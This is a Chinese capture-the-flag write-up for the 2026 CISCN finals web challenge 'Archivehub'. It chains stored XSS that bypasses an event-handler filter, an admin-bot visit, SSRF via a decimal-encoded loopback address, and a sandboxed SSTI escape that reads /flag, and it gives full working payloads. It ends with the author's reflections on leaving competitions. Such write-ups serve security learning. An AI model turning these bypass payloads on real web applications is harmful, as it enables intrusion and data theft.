2026CISCN总决赛——Archivehub
manifest.json 并渲染指定 Markdown 文件。普通用户可以把自己的文档提交给管理员审核,管理员审核完成后会在文档下方留下 Review Notes。 请获取服务器中的 flag初步思路

从前面的配置项来看分为两个服务,外网就是我们看到的提交包含 markdown 文件的压缩包,其进行渲染,事后 bot 管理员可以进行留言
因此这里大体上来看会通过 XSS 结合 SSRF 去让 bot 进行内网服务的操作
定位到后续内网服务


那就是打 SSTI 模板注入了 http://127.0.0.1:9001/render?tpl={{8*8}}
一些细节
注意到 Cookie 属性设置了 HttpOnly; SameSite=Lax,虽然无法读取 Cookie,但我们可以进行携带;
接着看到了一些转义过滤限制如下
1 | def escape(value) -> str: |
escape() 在用户名、文档标题、单行内联文本 render_inline() 等位置被调用,无法考虑这些位置的 XSS;后续对出现 < 的位置则进行 <script> 以及带单/双引号的 on* 事件属性进行过滤,不过引号存在与否不影响代码的执行,因此这里可以轻松绕过 <img src=x onerror=alert(1)>
继续往下看 /documents/{doc_id} 路由,其中下方的 note 评论是通过数据库获取的

当向 bot 报告后,跟进 /documents/{doc_id}/report 路由,这里会将该请求进入队列

其中 bot_worker() 会持续监听


跟进 visit_as_admin(),这里 bot 就会开无头浏览器去浏览我们的网页了
1 | url = f"http://127.0.0.1:{APP_PORT}/admin/review/{doc_id}?bot_token={urllib.parse.quote(ADMIN_BOT_TOKEN)}" |
跟进 admin_review(),通过 ADMIN_BOT_TOKEN 鉴权后,就是加载 markdown 文档进行浏览,这里就触发了 XSS
现在就剩下 /api/documents/{doc_id}/notes /admin/fetch
前者就是添加评论,能够直接想到通过触发该路由让 bot 把命令执行的结果带出来;而后者也是显而易见,由于端口不同不同源,直接访问会触发 CORS 限制,便可通过该路由的 fetch 功能打前面的 SSTI 模板注入

这里也是象征性的做了一下 SSRF 的限制,十进制绕过就好
Payload 构造
通过 /admin/fetch?url= 与内网 9001 端口交互,将其结果返回给 /api/documents/{doc_id}/notes 进行回显
不过一开始我习惯性使用 => 箭头函数,其为了绕过并未在 on*= 事件后添加引号,从原始的 HTTP 响应文本流来看以下 payload 是没有问题的
1 | <img src=x onerror=fetch("/admin/fetch?url=http%3A%2F%2F2130706433%3A9001%2Frender%3Ftpl%3D%7B%7B8%2A8%7D%7D").then(r=>r.text()).then(data=>fetch("/api/documents/1/notes",{method:"POST",body:data}))> |
但浏览器解析时,由于该属性值未被引号包裹,因此遇到 > 后会认为判定为当前 HTML 标签的闭合标记,从而直接结束 <img> 标签的解析

解析完后,被 DOM 树的序列化并规范的对属性值补上引号
不过我们这里可以改用匿名函数语法 function(r){} 来进一步绕过
1 | <img src=x onerror=fetch("/admin/fetch?url=http%3A%2F%2F2130706433%3A9001%2Frender%3Ftpl%3D%7B%7B8%2A8%7D%7D").then(function(r){return(r.text())}).then(function(data){return(fetch("/api/documents/1/notes",{method:"POST",body:data}))})> |

很好,就差最后 SSTI 模板的绕过了
1 | def render_internal_template(template: str) -> str: |
很经典,这里将全局命名空间 __builtins__ 置空了,不过给了自定义的局部变量;ThemeConfig 给了 _load() 方法可以读文件,TemplateHelper 类中 c() 方法将整数转换成字符型并拼接,a() 直接去调用 cfg 对象方法,也算是很直白的搞所我们绕过方法了
http://2130706433:9001/render?tpl={{h.a(cfg,h.c(95,108,111,97,100))(h.c(47,102,108,97,103))}}
最终 payload:
1 | <img src=x onerror=fetch("/admin/fetch?url=http%3A%2F%2F2130706433%3A9001%2Frender%3Ftpl%3D%7B%7Bh.a%28cfg%2Ch.c%2895%2C108%2C111%2C97%2C100%29%29%28h.c%2847%2C102%2C108%2C97%2C103%29%29%7D%7D").then(function(r){return(r.text())}).then(function(data){return(fetch("/api/documents/1/notes",{method:"POST",body:data}))})> |

谢幕
这算是我生涯最后一次参加线下“正规”的网络安全比赛了,这一年本来是备战考研,结果被队友一直带飞到决赛;随着 AI 大模型潮涌袭来,感觉自己算是还留有一些老一辈的古法手段😄,回到比赛本身也是挺失望的,挂着国家级比赛的头衔却在赛场内出现那么多“热点”,事后赛事方也是选择沉默是金,实在是令人唏嘘…
哎,不花费那么多口舌了。专注于自己,顺应时代,以后会逐渐向 AI 大模型方面转型了,但也希望自己还能做与网安有交集的事业吧😂…








